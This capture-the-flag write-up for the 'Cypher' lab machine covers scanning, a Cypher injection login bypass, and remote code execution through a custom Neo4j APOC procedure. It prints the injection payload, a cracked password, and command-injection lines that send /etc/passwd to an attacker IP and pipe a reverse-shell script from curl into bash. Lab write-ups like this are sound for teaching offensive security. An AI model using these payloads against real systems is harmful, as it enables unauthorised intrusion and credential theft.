Cypher¶
Initial Scan¶
| Port | Service | Detail |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Web server |
Enumeration¶
The web application at http://cypher.htb/ has a login page backed by Neo4j (graph database). The login form processes a Cypher query, making it a candidate for Cypher injection.
A custom APOC extension JAR was discovered at:
Neo4j version: 5.23.0
Exploitation¶
Cypher Injection - Authentication Bypass¶
Testing with a single quote (') triggered a Cypher syntax error, confirming injection:
CypherSyntaxError: Failed to parse string literal. The query must contain an even number of non-escaped quotes.
The query structure was:
Payload to bypass authentication:
Username: admin' OR 1=1 RETURN 'd033e22ae348aeb5660fc2140aec35850c4da997' as hash //
Password: admin
Where d033e22ae348aeb5660fc2140aec35850c4da997 is the SHA1 of "admin". This makes the query always return a valid hash.
Database Enumeration¶
CALL db.labels()
MATCH (u:USER) RETURN DISTINCT keys(u)
MATCH (u:USER) RETURN u.name
MATCH (s:SHA1) RETURN s.value
Found user graphasm with hash 9f54ca4c130be6d529a56dee59dc2b2090e43acf.
Cracked via CrackStation: 9f54ca4c130be6d529a56dee59dc2b2090e43acf -> cU4btyib.20xtCMCXkBmerhK
RCE via Custom APOC Extension¶
The custom JAR exposed a getUrlStatusCode procedure allowing command injection:
CALL custom.getUrlStatusCode('http://10.10.14.54:8888/$(cat /etc/passwd)')
CALL custom.getUrlStatusCode('http://google.com; curl http://10.10.14.54:8888/revshell.sh | bash')
This provided a reverse shell.
Lateral Movement¶
SSH as graphasm¶
user.txt: ***
Credential Discovery¶
Found in bbot_preset.yml:
Privilege Escalation¶
BBot can read files using the -cy flag which loads YARA rules from a file. The contents are logged at debug level, effectively reading the file contents:
Flags¶
user.txt: ***
root.txt: ***